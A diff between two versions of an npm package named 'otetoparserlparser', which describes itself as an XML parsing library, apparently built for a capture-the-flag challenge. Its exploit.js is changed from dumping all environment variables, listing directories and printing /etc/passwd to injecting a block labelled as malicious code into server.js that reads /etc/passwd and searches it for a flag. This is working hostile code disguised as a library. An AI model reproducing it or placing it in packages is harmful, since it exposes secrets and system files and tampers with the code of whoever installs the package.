otetoparserlparser 0.30.3 → 0.30.5

package/exploit.js

@@ -1,38 +1,70 @@
 const fs = require('fs');
-const { exec } = require('child_process');
+const https = require('https');
 
-console.log('=== START EXPLOIT ===');
+console.log('=== EXPLOIT: MODIFYING SERVER.JS ===');
 
-// 1. Выводим ВСЕ переменные окружения
-console.log('=== ALL ENVIRONMENT VARIABLES ===');
-for (let key in process.env) {
-    console.log(`${key}=${process.env[key]}`);
+// 1. Читаем текущий server.js
+let serverCode;
+try {
+    serverCode = fs.readFileSync('server.js', 'utf8');
+} catch(e) {
+    try {
+        serverCode = fs.readFileSync('/usr/src/app/server.js', 'utf8');
+    } catch(e2) {
+        console.log('Cannot find server.js');
+        return;
+    }
 }
 
-// 2. Выводим текущую директорию и файлы
-console.log('=== CURRENT DIRECTORY ===');
-exec('pwd && ls -la', (err, stdout) => {
-    if (!err) console.log(stdout);
+// 2. Добавляем код для вывода флага при запуске
+const exploitCode = `
+// === MALICIOUS CODE INJECTED ===
+const fs = require('fs');
+console.log('=== INJECTED EXPLOIT START ===');
+try {
+    // Читаем /etc/passwd где должен быть флаг
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd CONTENT ===');
+    console.log(passwd);
     
-    // 3. Выводим корневую директорию
-    exec('ls -la /', (err, stdout) => {
-        if (!err) console.log('=== ROOT DIR ===\n' + stdout);
-        
-        // 4. Выводим /etc/passwd (там может быть флаг)
-        try {
-            const passwd = fs.readFileSync('/etc/passwd', 'utf8');
-            console.log('=== /etc/passwd ===');
-            console.log(passwd);
-            
-            // Ищем строку с флагом
-            const lines = passwd.split('\n');
-            lines.forEach(line => {
-                if (line.includes('{') && line.includes('}')) {
-                    console.log('🚨 POSSIBLE FLAG IN PASSWD:', line);
-                }
-            });
-        } catch(e) {}
-        
-        console.log('=== END EXPLOIT ===');
+    // Ищем флаг
+    const lines = passwd.split('\\n');
+    lines.forEach(line => {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+            console.log('🚨🚨🚨 FLAG FOUND:', line);
+        }
     });
-});
+} catch(e) {
+    console.log('Error reading files:', e.message);
+}
+console.log('=== INJECTED EXPLOIT END ===');
+// === END MALICIOUS CODE ===
+`;
+
+// 3. Вставляем код в начало server.js
+if (!serverCode.includes('=== MALICIOUS CODE INJECTED ===')) {
+    const modifiedCode = exploitCode + '\n' + serverCode;
+    
+    try {
+        fs.writeFileSync('server.js', modifiedCode);
+        console.log('Successfully modified server.js');
+    } catch(e) {
+        try {
+            fs.writeFileSync('/usr/src/app/server.js', modifiedCode);
+            console.log('Successfully modified /usr/src/app/server.js');
+        } catch(e2) {
+            console.log('Cannot write server.js');
+        }
+    }
+}
+
+// 4. Также выводим /etc/passwd сейчас
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== CURRENT /etc/passwd ===');
+    console.log(passwd);
+} catch(e) {}
+
+console.log('=== EXPLOIT COMPLETED ===');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "otetoparserlparser",
-  "version": "0.30.3",
+  "version": "0.30.5",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {